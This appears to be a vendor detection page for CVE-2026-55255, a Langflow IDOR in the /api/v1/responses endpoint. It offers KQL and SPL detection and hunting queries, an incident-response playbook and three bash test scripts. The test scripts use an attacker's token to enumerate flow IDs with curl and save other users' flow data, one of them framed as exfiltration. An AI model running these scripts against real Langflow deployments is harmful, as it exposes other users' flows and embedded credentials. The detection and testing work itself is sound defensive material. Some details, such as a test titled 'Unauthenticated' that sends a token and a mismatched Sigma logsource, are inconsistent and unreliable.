CVE-2026-55255

Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses

Credential Access Collection Last updated:

CVE-2026-55255 is a critical IDOR (Insecure Direct Object Reference) vulnerability in Langflow versions prior to 1.9.1, now confirmed actively exploited in the wild and listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. An authenticated attacker can enumerate and access another user's flow data by manipulating object identifiers in requests to the /api/v1/responses endpoint. With a CVSS score of 9.9, this vulnerability allows horizontal privilege escalation between users, potentially exposing sensitive AI flow configurations, credentials embedded in flows, and proprietary automation logic. Organizations running Langflow must treat patching as urgent given KEV status and active exploitation.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
pip
Product
langflow
Versions
< 1.9.1

Weakness (CWE)

Timeline

Disclosed
June 19, 2026
Patched
July 7, 2026

CVSS

9.9
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-55255 Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses?

Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses (CVE-2026-55255) maps to the Credential Access and Collection tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.

This page provides production-ready detection logic for Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses, covering the data sources and telemetry it touches: Azure Application Gateway Logs, App Service HTTP Logs, Web Application Firewall Logs, Azure Diagnostics. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Credential Access Collection
Microsoft Sentinel / Defender
kusto
union isfuzzy=true
    AzureDiagnostics,
    AppServiceHTTPLogs
| where TimeGenerated >= ago(24h)
| where requestUri_s has "/api/v1/responses"
    or CsUriStem has "/api/v1/responses"
| extend UriStem = coalesce(requestUri_s, CsUriStem)
| extend StatusCode = coalesce(sc_status_d, ScStatus)
| extend CallerIP = coalesce(clientIP_s, CIp)
| extend UserAgent = coalesce(userAgent_s, CsUserAgent)
| where StatusCode == 200
| summarize
    RequestCount = count(),
    DistinctFlowIds = dcount(extract(@"responses/([^/?]+)", 1, UriStem)),
    FlowIdList = make_set(extract(@"responses/([^/?]+)", 1, UriStem), 100),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
    by CallerIP, UserAgent, bin(TimeGenerated, 10m)
| where DistinctFlowIds >= 5
| extend Severity = case(
    DistinctFlowIds >= 20, "Critical",
    DistinctFlowIds >= 10, "High",
    "Medium"
  )
| project FirstSeen, LastSeen, CallerIP, UserAgent, RequestCount, DistinctFlowIds, FlowIdList, Severity

Detects potential IDOR exploitation against Langflow /api/v1/responses by identifying authenticated sessions that enumerate large numbers of distinct flow IDs within a short window, indicating systematic object reference manipulation.

critical severity high confidence

Data Sources

Azure Application Gateway Logs App Service HTTP Logs Web Application Firewall Logs Azure Diagnostics

Required Tables

AzureDiagnostics AppServiceHTTPLogs

False Positives

  • Langflow administrators or power users legitimately browsing many flows via the UI
  • Automated integration pipelines that poll multiple flow results in bulk
  • Load testing or health-check scripts that iterate over known flow IDs
  • Langflow platform itself performing internal result aggregation across flows

Sigma rule & cross-platform mapping

The detection logic for Langflow IDOR: Unauthorized Access to Another User's Flow via /api/v1/responses (CVE-2026-55255) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated Flow ID Discovery via /api/v1/responses

    Expected signal: 20 GET requests to /api/v1/responses/* within seconds, all from the same source IP and Authorization header, appearing in web/application access logs

  2. Test 2Targeted Cross-User Flow Access Using Known Flow ID

    Expected signal: Single authenticated GET request to /api/v1/responses/<victim_flow_id> returning HTTP 200 with flow response data belonging to a different user

  3. Test 3Scripted Flow Enumeration with Response Exfiltration

    Expected signal: 50 GET requests to /api/v1/responses/* within approximately 30 seconds, with a subset returning HTTP 200 and response bodies containing flow data; all from single source IP


Response Playbook

Triage

  1. Identify the source IP and authenticated user account associated with the high-frequency /api/v1/responses requests. Cross-reference the user's own flow IDs against the enumerated IDs to confirm cross-user access.
  2. Determine whether the accessed flow IDs belong to other users by querying the Langflow database (flows table) to map flow_id to owner_id and compare against the requesting user's ID.
  3. Review the volume and pattern of requests: sequential numeric or UUID enumeration suggests automated tooling. Check User-Agent strings and request timing intervals for scripted behaviour.
  4. Verify the Langflow version deployed. If below 1.9.1, treat as confirmed vulnerable and apply emergency patch immediately given CISA KEV status. Check `pip show langflow` or the container image tag against affected version range.
  5. Assess what data was exposed: query Langflow logs or database for the content of the flows that were accessed, including any embedded credentials, API keys, or proprietary automation logic.

Containment

  1. Immediately block the offending source IP at the WAF, reverse proxy, or network layer to halt further enumeration. If the attacker is an internal authenticated user, suspend their Langflow account.
  2. Rotate any credentials, API keys, or secrets discovered in exposed flows. Notify affected flow owners that their flow configurations may have been accessed by an unauthorised party.
  3. If Langflow is internet-facing, consider temporarily restricting /api/v1/responses to internal network access only until the patch is applied and an incident review is complete. CISA BOD 26-04 requires federal agencies to remediate KEV entries within mandated timeframes.

Evidence Collection

  1. Collect full HTTP access logs for the offending IP covering the incident window, including request headers, response bodies (if logged), and session/authentication tokens used.
  2. Export the Langflow database audit trail or query the flows and flow_responses tables to produce a definitive list of flow IDs that were accessed, their owners, and content at time of access.

Escalation Criteria

  • ! Escalate to CISO and legal if any accessed flows contained PII, customer data, credentials, or regulated information, as this may trigger GDPR/UK-GDPR data breach notification obligations within 72 hours.
  • ! Escalate to incident response if enumeration volume exceeds 50 distinct flows or if there is evidence the attacker has exfiltrated flow definitions, as this constitutes a significant data breach requiring formal IR handling. KEV listing indicates nation-state or organised threat actor interest in this vulnerability.

Investigation Guide

Forensic Artifacts

  • > Langflow application logs showing authenticated requests to /api/v1/responses/<flow_id> where flow_id resolves to flows owned by a different user_id
  • > Web/proxy access logs with clustered GET requests to /api/v1/responses/* from a single authenticated session within a short time window
  • > Langflow database entries in the flow_responses or equivalent table showing read events by non-owner user IDs

Tuning Guidance

Start with a threshold of 5 distinct flow IDs per 10 minutes; adjust upward if your Langflow deployment has legitimate bulk consumers (e.g., integration platforms polling many flows). Add known admin IP ranges or service account identifiers to an allowlist. If Langflow is deployed internally only, restrict the data source scope to internal network segments to reduce false positive volume from external scanners hitting non-Langflow endpoints. Consider adding a secondary condition requiring the accessed flow IDs to resolve to non-requesting-user-owned flows by enriching with Langflow database exports. Given CISA KEV confirmation of active exploitation, lower detection thresholds and increase alert priority for unpatched deployments.


Hunting Queries

Broad threat hunt for any authenticated session accessing three or more distinct Langflow flow IDs via the responses endpoint within an hour — lower threshold than the alert rule to surface early-stage reconnaissance. Given KEV status, hunt retroactively across 30+ days of logs for prior exploitation.

Hunting — KQL
kql
AzureDiagnostics
| where requestUri_s has "/api/v1/responses/"
| extend FlowId = extract(@"/api/v1/responses/([^/?]+)", 1, requestUri_s)
| where isnotempty(FlowId)
| summarize TotalRequests=count(), UniqueFlowIds=dcount(FlowId), FlowIdList=make_set(FlowId,200) by clientIP_s, bin(TimeGenerated, 1h)
| where UniqueFlowIds >= 3
| order by UniqueFlowIds desc
Hunting — SPL
spl
index=web uri_path="/api/v1/responses/*" status=200
| rex field=uri_path "/api/v1/responses/(?<flow_id>[^/?]+)"
| stats dc(flow_id) as unique_flows, values(flow_id) as flow_ids, count by src_ip, span(1h)
| where unique_flows >= 3
| sort - unique_flows

Atomic Red Team Tests

Test 1 Unauthenticated Flow ID Discovery via /api/v1/responses
linux

Simulates an attacker who has obtained a valid Langflow session token and systematically enumerates the /api/v1/responses endpoint using sequential or random UUIDs to discover accessible flows belonging to other users.

Command

bash
TARGET="http://langflow.internal"
TOKEN="<attacker_valid_jwt_token>"
for i in $(seq 1 20); do
  FLOW_ID=$(cat /proc/sys/kernel/random/uuid)
  HTTP_CODE=$(curl -s -o /tmp/lf_response_${i}.json -w "%{http_code}" \
    -H "Authorization: Bearer ${TOKEN}" \
    "${TARGET}/api/v1/responses/${FLOW_ID}")
  echo "[${i}] Flow ${FLOW_ID} => HTTP ${HTTP_CODE}"
done
echo "Responses saved to /tmp/lf_response_*.json"

Cleanup

bash
rm -f /tmp/lf_response_*.json

Expected Telemetry

20 GET requests to /api/v1/responses/* within seconds, all from the same source IP and Authorization header, appearing in web/application access logs

Expected Detection

Triggered when 5 or more distinct flow ID requests are observed within 10 minutes from the same source IP with HTTP 200 responses

Test 2 Targeted Cross-User Flow Access Using Known Flow ID
linux

Simulates an attacker who has obtained a specific victim user's flow ID (e.g., via information disclosure in another endpoint or social engineering) and directly accesses that flow's responses using their own session.

Command

bash
TARGET="http://langflow.internal"
ATTACKER_TOKEN="<attacker_valid_jwt_token>"
VICTIM_FLOW_ID="<known_victim_flow_uuid>"
curl -v \
  -H "Authorization: Bearer ${ATTACKER_TOKEN}" \
  -H "Accept: application/json" \
  "${TARGET}/api/v1/responses/${VICTIM_FLOW_ID}" \
  -o /tmp/victim_flow_response.json
echo "Exit: $?"
cat /tmp/victim_flow_response.json | python3 -m json.tool

Cleanup

bash
rm -f /tmp/victim_flow_response.json

Expected Telemetry

Single authenticated GET request to /api/v1/responses/<victim_flow_id> returning HTTP 200 with flow response data belonging to a different user

Expected Detection

May not trigger volume-based alerting for a single request; relies on Langflow application-layer authorisation enforcement or database audit queries to detect cross-user data access

Test 3 Scripted Flow Enumeration with Response Exfiltration
linux

Simulates a more sophisticated attacker performing automated enumeration of Langflow flow responses, saving all successful results for offline analysis — mimicking a data harvesting attack consistent with KEV-listed active exploitation patterns.

Command

bash
TARGET="http://langflow.internal"
TOKEN="<attacker_valid_jwt_token>"
OUTDIR="/tmp/lf_exfil"
mkdir -p "${OUTDIR}"
# Attempt 50 UUIDs, save 200 responses
for i in $(seq 1 50); do
  FLOW_ID=$(python3 -c "import uuid; print(uuid.uuid4())")
  RESPONSE=$(curl -s -w "\n%{http_code}" \
    -H "Authorization: Bearer ${TOKEN}" \
    "${TARGET}/api/v1/responses/${FLOW_ID}")
  CODE=$(echo "${RESPONSE}" | tail -1)
  BODY=$(echo "${RESPONSE}" | head -n -1)
  if [ "${CODE}" = "200" ]; then
    echo "${BODY}" > "${OUTDIR}/flow_${FLOW_ID}.json"
    echo "[HIT] ${FLOW_ID}"
  fi
done
echo "Exfiltrated: $(ls ${OUTDIR} | wc -l) flows"

Cleanup

bash
rm -rf /tmp/lf_exfil

Expected Telemetry

50 GET requests to /api/v1/responses/* within approximately 30 seconds, with a subset returning HTTP 200 and response bodies containing flow data; all from single source IP

Expected Detection

Triggered by volume threshold (>=5 distinct flow IDs in 10 minutes) in all SIEM detections; may also trigger WAF rate limiting rules if configured

Related Detections